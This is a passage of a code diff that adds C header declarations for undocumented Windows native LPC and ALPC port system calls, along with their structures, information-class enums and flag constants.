PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength +); + +// +// Port connection (server) +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompleteConnectPort( + _In_ HANDLE PortHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompleteConnectPort( + _In_ HANDLE PortHandle +); + +// +// General +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePortEx( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReplyWaitReceivePortEx( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID* PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage, + _In_opt_ PLARGE_INTEGER Timeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_writes_bytes_to_(BufferSize, *NumberOfBytesRead) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_writes_bytes_to_(BufferSize, *NumberOfBytesRead) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten +); + +typedef enum _PORT_INFORMATION_CLASS +{ + PortBasicInformation, + PortDumpInformation +} PORT_INFORMATION_CLASS; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationPort( + _In_ HANDLE PortHandle, + _In_ PORT_INFORMATION_CLASS PortInformationClass, + _Out_writes_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationPort( + _In_ HANDLE PortHandle, + _In_ PORT_INFORMATION_CLASS PortInformationClass, + _Out_writes_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +// +// Asynchronous Local Inter-process Communication +// + +// rev +typedef HANDLE ALPC_HANDLE, * PALPC_HANDLE; + +#define ALPC_PORFLG_ALLOW_LPC_REQUESTS 0x20000 // rev +#define ALPC_PORFLG_WAITABLE_PORT 0x40000 // dbg +#define ALPC_PORFLG_SYSTEM_PROCESS 0x100000 // dbg + +// symbols +typedef struct _ALPC_PORT_ATTRIBUTES +{ + ULONG Flags; + SECURITY_QUALITY_OF_SERVICE SecurityQos; + SIZE_T MaxMessageLength; + SIZE_T MemoryBandwidth; + SIZE_T MaxPoolUsage; + SIZE_T MaxSectionSize; + SIZE_T MaxViewSize; + SIZE_T MaxTotalSectionSize; + ULONG DupObjectTypes; +#ifdef _WIN64 + ULONG Reserved; +#endif +} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; + +// begin_rev +#define ALPC_MESSAGE_SECURITY_ATTRIBUTE 0x80000000 +#define ALPC_MESSAGE_VIEW_ATTRIBUTE 0x40000000 +#define ALPC_MESSAGE_CONTEXT_ATTRIBUTE 0x20000000 +#define ALPC_MESSAGE_HANDLE_ATTRIBUTE 0x10000000 +// end_rev + +// symbols +typedef struct _ALPC_MESSAGE_ATTRIBUTES +{ + ULONG AllocatedAttributes; + ULONG ValidAttributes; +} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; + +// symbols +typedef struct _ALPC_COMPLETION_LIST_STATE +{ + union + { + struct + { + ULONG64 Head : 24; + ULONG64 Tail : 24; + ULONG64 ActiveThreadCount : 16; + } s1; + ULONG64 Value; + } u1; +} ALPC_COMPLETION_LIST_STATE, * PALPC_COMPLETION_LIST_STATE; + +#define ALPC_COMPLETION_LIST_BUFFER_GRANULARITY_MASK 0x3f // dbg + +// symbols +typedef struct DECLSPEC_ALIGN(128) _ALPC_COMPLETION_LIST_HEADER +{ + ULONG64 StartMagic; + + ULONG TotalSize; + ULONG ListOffset; + ULONG ListSize; + ULONG BitmapOffset; + ULONG BitmapSize; + ULONG DataOffset; + ULONG DataSize; + ULONG AttributeFlags; + ULONG AttributeSize; + + DECLSPEC_ALIGN(128) ALPC_COMPLETION_LIST_STATE State; + ULONG LastMessageId; + ULONG LastCallbackId; + DECLSPEC_ALIGN(128) ULONG PostCount; + DECLSPEC_ALIGN(128) ULONG ReturnCount; + DECLSPEC_ALIGN(128) ULONG LogSequenceNumber; + DECLSPEC_ALIGN(128) RTL_SRWLOCK UserLock; + + ULONG64 EndMagic; +} ALPC_COMPLETION_LIST_HEADER, * PALPC_COMPLETION_LIST_HEADER; + +// private +typedef struct _ALPC_CONTEXT_ATTR +{ + PVOID PortContext; + PVOID MessageContext; + ULONG Sequence; + ULONG MessageId; + ULONG CallbackId; +} ALPC_CONTEXT_ATTR, * PALPC_CONTEXT_ATTR; + +// begin_rev +#define ALPC_HANDLEFLG_DUPLICATE_SAME_ACCESS 0x10000 +#define ALPC_HANDLEFLG_DUPLICATE_SAME_ATTRIBUTES 0x20000 +#define ALPC_HANDLEFLG_DUPLICATE_INHERIT 0x80000 +// end_rev + +// private +typedef struct _ALPC_HANDLE_ATTR32 +{ + ULONG Flags; + ULONG Reserved0; + ULONG SameAccess; + ULONG SameAttributes; + ULONG Indirect; + ULONG Inherit; + ULONG Reserved1; + ULONG Handle; + ULONG ObjectType; // ObjectTypeCode, not ObjectTypeIndex + ULONG DesiredAccess; + ULONG GrantedAccess; +} ALPC_HANDLE_ATTR32, * PALPC_HANDLE_ATTR32; + +// private +typedef struct _ALPC_HANDLE_ATTR +{ + ULONG Flags; + ULONG Reserved0; + ULONG SameAccess; + ULONG SameAttributes; + ULONG Indirect; + ULONG Inherit; + ULONG Reserved1; + HANDLE Handle; + PALPC_HANDLE_ATTR32 HandleAttrArray; + ULONG ObjectType; // ObjectTypeCode, not ObjectTypeIndex + ULONG HandleCount; + ACCESS_MASK DesiredAccess; + ACCESS_MASK GrantedAccess; +} ALPC_HANDLE_ATTR, * PALPC_HANDLE_ATTR; + +#define ALPC_SECFLG_CREATE_HANDLE 0x20000 // dbg +#define ALPC_SECFLG_NOSECTIONHANDLE 0x40000 +// private +typedef struct _ALPC_SECURITY_ATTR +{ + ULONG Flags; + PSECURITY_QUALITY_OF_SERVICE QoS; + ALPC_HANDLE ContextHandle; // dbg +} ALPC_SECURITY_ATTR, * PALPC_SECURITY_ATTR; + +// begin_rev +#define ALPC_VIEWFLG_NOT_SECURE 0x40000 +// end_rev + +// private +typedef struct _ALPC_DATA_VIEW_ATTR +{ + ULONG Flags; + ALPC_HANDLE SectionHandle; + PVOID ViewBase; // must be zero on input + SIZE_T ViewSize; +} ALPC_DATA_VIEW_ATTR, * PALPC_DATA_VIEW_ATTR; + +// private +typedef enum _ALPC_PORT_INFORMATION_CLASS +{ + AlpcBasicInformation, // q: out ALPC_BASIC_INFORMATION + AlpcPortInformation, // s: in ALPC_PORT_ATTRIBUTES + AlpcAssociateCompletionPortInformation, // s: in ALPC_PORT_ASSOCIATE_COMPLETION_PORT + AlpcConnectedSIDInformation, // q: in SID + AlpcServerInformation, // q: inout ALPC_SERVER_INFORMATION + AlpcMessageZoneInformation, // s: in ALPC_PORT_MESSAGE_ZONE_INFORMATION + AlpcRegisterCompletionListInformation, // s: in ALPC_PORT_COMPLETION_LIST_INFORMATION + AlpcUnregisterCompletionListInformation, // s: VOID + AlpcAdjustCompletionListConcurrencyCountInformation, // s: in ULONG + AlpcRegisterCallbackInformation, // kernel-mode only + AlpcCompletionListRundownInformation, // s: VOID // 10 + AlpcWaitForPortReferences, + AlpcServerSessionInformation // q: ALPC_SERVER_SESSION_INFORMATION // since 19H2 +} ALPC_PORT_INFORMATION_CLASS; + +// private +typedef struct _ALPC_BASIC_INFORMATION +{ + ULONG Flags; + ULONG SequenceNo; + PVOID PortContext; +} ALPC_BASIC_INFORMATION, * PALPC_BASIC_INFORMATION; + +// private +typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT +{ + PVOID CompletionKey; + HANDLE CompletionPort; +} ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT; + +// private +typedef struct _ALPC_SERVER_INFORMATION +{ + union + { + struct + { + HANDLE ThreadHandle; + } In; + struct + { + BOOLEAN ThreadBlocked; + HANDLE ConnectedProcessId; + UNICODE_STRING ConnectionPortName; + } Out; + }; +} ALPC_SERVER_INFORMATION, * PALPC_SERVER_INFORMATION; + +// private +typedef struct _ALPC_PORT_MESSAGE_ZONE_INFORMATION +{ + PVOID Buffer; + ULONG Size; +} ALPC_PORT_MESSAGE_ZONE_INFORMATION, * PALPC_PORT_MESSAGE_ZONE_INFORMATION; + +// private +typedef struct _ALPC_PORT_COMPLETION_LIST_INFORMATION +{ + PVOID Buffer; // PALPC_COMPLETION_LIST_HEADER + ULONG Size; + ULONG ConcurrencyCount; + ULONG AttributeFlags; +} ALPC_PORT_COMPLETION_LIST_INFORMATION, * PALPC_PORT_COMPLETION_LIST_INFORMATION; + +// private +typedef struct _ALPC_SERVER_SESSION_INFORMATION +{ + ULONG SessionId; + ULONG ProcessId; +} ALPC_SERVER_SESSION_INFORMATION, * PALPC_SERVER_SESSION_INFORMATION; + +// private +typedef enum _ALPC_MESSAGE_INFORMATION_CLASS +{ + AlpcMessageSidInformation, // q: out SID + AlpcMessageTokenModifiedIdInformation, // q: out LUID + AlpcMessageDirectStatusInformation, + AlpcMessageHandleInformation, // ALPC_MESSAGE_HANDLE_INFORMATION + MaxAlpcMessageInfoClass +} ALPC_MESSAGE_INFORMATION_CLASS, * PALPC_MESSAGE_INFORMATION_CLASS; + +typedef struct _ALPC_MESSAGE_HANDLE_INFORMATION +{ + ULONG Index; + ULONG Flags; + ULONG Handle; + ULONG ObjectType; + ACCESS_MASK GrantedAccess; +} ALPC_MESSAGE_HANDLE_INFORMATION, * PALPC_MESSAGE_HANDLE_INFORMATION; + +// begin_private + +// System calls + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDisconnectPort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDisconnectPort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcQueryInformation( + _In_opt_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _Inout_updates_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcQueryInformation( + _In_opt_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _Inout_updates_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcSetInformation( + _In_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _In_reads_bytes_opt_(Length) PVOID PortInformation, + _In_ ULONG Length +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcSetInformation( + _In_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _In_reads_bytes_opt_(Length) PVOID PortInformation, + _In_ ULONG Length +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreatePortSection( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_ SIZE_T SectionSize, + _Out_ PALPC_HANDLE AlpcSectionHandle, + _Out_ PSIZE_T ActualSectionSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreatePortSection( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_ SIZE_T SectionSize, + _Out_ PALPC_HANDLE AlpcSectionHandle, + _Out_ PSIZE_T ActualSectionSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeletePortSection( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE SectionHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDeletePortSection( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE SectionHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ SIZE_T MessageSize, + _Out_ PALPC_HANDLE ResourceId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreateResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ SIZE_T MessageSize, + _Out_ PALPC_HANDLE ResourceId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ResourceId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDeleteResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ResourceId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreateSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ PVOID ViewBase +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDeleteSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ PVOID ViewBase +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_SECURITY_ATTR SecurityAttribute +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcCreateSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_SECURITY_ATTR SecurityAttribute +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcDeleteSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcRevokeSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcRevokeSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcQueryInformationMessage( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass, + _Out_writes_bytes_to_opt_(Length, *ReturnLength) PVOID MessageInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcQueryInformationMessage( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass, + _Out_writes_bytes_to_opt_(Length, *ReturnLength) PVOID MessageInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +#define ALPC_MSGFLG_REPLY_MESSAGE 0x1 +#define ALPC_MSGFLG_LPC_MODE 0x2 // ? +#define ALPC_MSGFLG_RELEASE_MESSAGE 0x10000 // dbg +#define ALPC_MSGFLG_SYNC_REQUEST 0x20000 // dbg +#define ALPC_MSGFLG_WAIT_USER_MODE 0x100000 +#define ALPC_MSGFLG_WAIT_ALERTABLE 0x200000 +#define ALPC_MSGFLG_WOW64_CALL 0x80000000 // dbg + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSID RequiredServerSid, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PULONG BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSID RequiredServerSid, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PULONG BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcConnectPortEx( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ConnectionPortObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ClientPortObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSECURITY_DESCRIPTOR ServerSecurityRequirements, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcConnectPortEx( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ConnectionPortObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ClientPortObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSECURITY_DESCRIPTOR ServerSecurityRequirements, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_ HANDLE ConnectionPortHandle, + _In_ ULONG Flags, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_opt_ PVOID PortContext, + _In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes, + _In_ BOOLEAN AcceptConnection +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAlpcAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_ HANDLE ConnectionPortHandle, + _In_ ULONG Flags, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_opt_ PVOID PortContext, + 